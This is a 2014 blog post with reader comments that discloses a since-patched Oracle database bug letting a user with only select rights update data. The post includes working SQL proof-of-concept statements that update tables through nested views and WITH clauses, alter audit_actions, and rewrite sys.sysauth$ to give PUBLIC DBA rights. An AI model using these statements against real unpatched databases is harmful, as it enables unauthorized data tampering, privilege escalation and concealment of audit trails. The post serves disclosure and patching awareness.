Is your database secure? Are you sure? Are you *really* sure?

18 06 2014

A friend and at the time co-worker at Kentor AB found this bug. He found the bug and had the tenacity to track down and prove that it was a bug and not just a flaw in the logging mechanism where this first was indicated to occur.

Today is the day when I can finally speak about a bug I asked for a peer review on over a year ago. I had to pull that blog post offline when it was clear that we had in deed found what I think is a monster bug. It was difficult to fix so while it was quiet online about the bug, Oracle was hard at work on fixing it. In fact it turned out to be two different bugs each plugged separately.

Before we get to the meat of the issue, have you applied the January 2014 CPU? No? OK, we’ll wait while you take care of that. Trust me, you want to have it installed. Back already? Good. Patching really doesn’t take too long. :-)

I’ve spent a number of years trying to very diligently apply the correct grants for different users to make sure every user had just what they needed. It turns out it was a wasted effort. Had the users known about this bug, they could have circumvented their lack of access. Truth be told, I really have no idea if someone did. In fact the bug was such that it was abused in production at a large Oracle shop by mistake. This bug is present in all versions of the database (as far as we know) and it has been fixed with the latest CPU for 11g and 12c. If you run on an older version, you should upgrade now! Running older than 11 at this point probably means you’re not reading blogs about databases anyway.

So what exactly is the bug then? In short, you can update data in tables you only have select rights on. How can that be, you’ve tested that multiple times. True, the SQL has to be written in a pretty specific way to trigger the bug. In a database that is a base install or at least predates the january CPU, the following test case should prove the issue. You can use most of this to verify the problem, you will probably not ant to test with privilege escalation in a production system though.

Let us first create som users for our test.

drop user usra cascade;
create user usra identified by usra default tablespace users;
alter user usra quota unlimited on users;
grant connect to usra;
grant create table to usra;
--
drop user usrb cascade;
create user usrb identified by usrb;
grant connect to usrb;
grant create view to usrb;
--
drop user usrc cascade;
create user usrc identified by usrc;
grant connect to usrc;
grant select any dictionary to usrc;

We create a user usra that can create tables, usrb that can create views and usrc that can only select from the dictionary. These users will allow us to test the different versions of this bug in a controlled fashion.

Lets set up a test table in the usra account.
create table t1 (col_a varchar2(10) not null);
insert into t1 (col_a) values ('Original');
--
commit;
--
grant select on t1 to usrb;

We now have a table with a single row that usrb can only read from, or so we would think. Let us first create a very basic view and try to update it.
drop view view1;
create view view1 as select * from usra.t1;
update view1 set col_a = 'Whoops1';

So that didn’t work. Or rather, the view was created but the update failed. That is how it should be, we have no update access on the table.

Lets now try to create a view on that view which we then update to see what happens if we add just a little bit of complexity to this.

drop view view2;
create view view2 as select * from view1 where col_a in (select max (col_a) from view1 group by col_a);
update view2 set col_a = 'Whoops2';

This update suddenly works (before the above mentioned CPU). So our meticulously granted privileges are overridden by a view with a sub-select on the same view. Not good.

Could the sub-select be simplified? Does it need to select from the same view and is an aggregation needed to make this bug expose itself?

drop view view3;
create view view3 as select * from view1 where 1 in (select 1 from dual);
update view3 set col_a = 'Whoops3';

Apparently it could not be simplified enough to just do a sub-select from dual. On to other possible simplifications.

What if we just read a hard-coded value from the first row in the table, would that work?
drop view view4;
create view view4 as select * from view1 where 1 in (select 1 from view1 where rownum = 1);
update view4 set col_a = 'Whoops4';

Yup, that is enough to break through the privileges.

How about just using a select without even having to have the right to create a view?
update
(with x as (select * from usra.t1) select * from x) t1
set col_a = 'Whops5';

Ouch. That too was possible. So all it takes is a select access on a table and we can update it. How do we stop someone from abusing this when not even a pure select with no right to create objects is enough? You see why we pulled the original blog-post? This was for a time something that would be very hard to defend your database against.

How about using it to update things in the data dictionary, yes that too is possible. Some things are available to any user such as user_actions.

update
(with x as (select * from audit_actions) select * from x) t1
set name = 'Mathias was here';

This update also works. So auditing can be changed, probably not a good thing if you trust your audit_actions table.

How about escalating the privileges we have (or rather that anyone has). Yes, that is also possible with a bit of knowledge.

select * from sys.sysauth$
where grantee# = (select user_id from all_users where username = 'HR')
and rownum = 1;

Here we steal a privilege held by the HR user, probably a privilege that will not be missed for a long time in most databases. With this we will make public a proper DBA user meaning that any account can do almost anything in the database.

update
(with x as (select * from sys.sysauth$ where grantee# = 103 and privilege# = -264 and sequence# = 1551)
select * from x) t1
set grantee# = 1
,privilege# = 4;

Just like that we have given ourselves and everyone else DBA access. Now we can do whatever we want including covering our tracks in most databases.

So I ask again, are you *really* sure that your database is secure?

This is scary stuff and this only goes to show that even a mature product needs to be kept up with current patches. If you are not on a CPU from this year, PLEASE give it a high priority to make it happen today.

And PLEASE do not test this in production. If you do and your DBA catches you, he will lecture you forever if not reporting you up the chain of command. But please do spread the word that this issue exists and needs to be plugged ASAP.

About these ads

Actions

Information

13 responses

19 06 2014
Major Data Exploit Patched by January 2014′s CPU | It Was Like That When I Got Here

[…] an Oracle security blog revealed a “monster bug” (actually, TWO of them) which allows a user to UPDATE data in a table […]

19 06 2014
g10chy

Reblogged this on g10chy and commented:
Scary stuff…Get patching NOW!!

22 06 2014
tulk

“In fact it turned out to be two different bugs each plugged separately.”

Do you have both bug numbers?

23 06 2014
mathiasmag

I do not have the bug numbers. For security bugs Oracle hides the SR from view for anyone but the requestor’s company and the security team. So even very senior resources at Oracle assigned to work with the same client could not see them. Frpm these they create child SRs that are internal and even more hidden as only the security team and assigned developers can see those. The Original SR then becomes just a vehicle for communication with the person submitting it and the internal ones is where all the meat for troubleshooting, code fixing, and testing progress is tracked.

22 06 2014
Jakub Wartak

http://jakub.wartak.pl/blog/?p=869 contains also reference to another one (w/o exploit though) regarding interal Oracle’s JRE.

24 06 2014
Mohammad Saghi

hi i have installed oracle 11.2.0.4
i think it’s last version!
but this problem persists in this version too!!!!!!
what can we do for preventing users from using this bug?

26 06 2014
mathiasmag

You need the latest version AND the latest CPU. The latest version is not in itself a guarantee against this issue.

26 06 2014
Hemant K Chitale

This is quite scary !

26 06 2014
John Doe

Looks like you can workaround if you start a read only transaction from an FGA policy attached to the table that audits for select, reference a function in the dbms_fga.add_policy audit_trail parameter and call : execute immediate ‘set transaction read only’; from it, this will stop the unauthorized update.

26 06 2014
mathiasmag

Only for a user that can only select, but if the user has to be able to update some tables then you cannot protect this way. Right? “Select only” user access is a pretty rare scenario.

9 07 2014
Thagor

During my tests, both 10.2.0.4 (EE) and 11.2.0.4 (EE) on Windows did not allow the updates of the datadictionary:

SQL> sho user
USER is “USRC”
SQL> update
2 (with x as (select * from audit_actions) select * from x) t1
3 set name = ‘Mathias was here’;
(with x as (select * from audit_actions) select * from x) t1
*
ERROR at line 2:
ORA-01732: data manipulation operation not legal on this view

Unfornately the user views (2 and 4) reacted as described in the article ;-(
Did anybody experience different behavior between bundles and/or OS?

9 10 2014
mathiasmag

Are you sure you gave usrc “Select any dictionary”? It seems weird that the paltform would have an impact.

9 10 2014
Mohammad Saghi

Hi Mr.Thagor:
11.2.0.4 (EE) on Windows?
IS THIS RELEASED?
IT’S NEW?
11.2.0.4 (EE) WAS ON LINUX.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s




%d bloggers like this: